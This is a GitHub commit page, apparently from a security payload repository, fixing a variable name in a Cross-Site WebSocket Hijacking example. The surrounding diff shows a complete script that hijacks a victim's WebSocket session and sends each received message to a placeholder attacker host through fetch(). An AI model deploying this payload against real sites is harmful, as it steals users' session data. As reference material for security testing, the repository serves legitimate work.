Skip to content

Commit

Permalink
Merge pull request swisskyrepo#511 from buddyeatsbugs/master
Browse files Browse the repository at this point in the history
Update CSWSH payload
  • Loading branch information
swisskyrepo committed Jun 30, 2022
2 parents fc8fadb + d0a198f commit d9921e3
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Web Sockets/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@ data from the WebSocket to the attacker:
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
websocket.send("HELLO");
ws.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
Expand Down

0 comments on commit d9921e3

Please sign in to comment.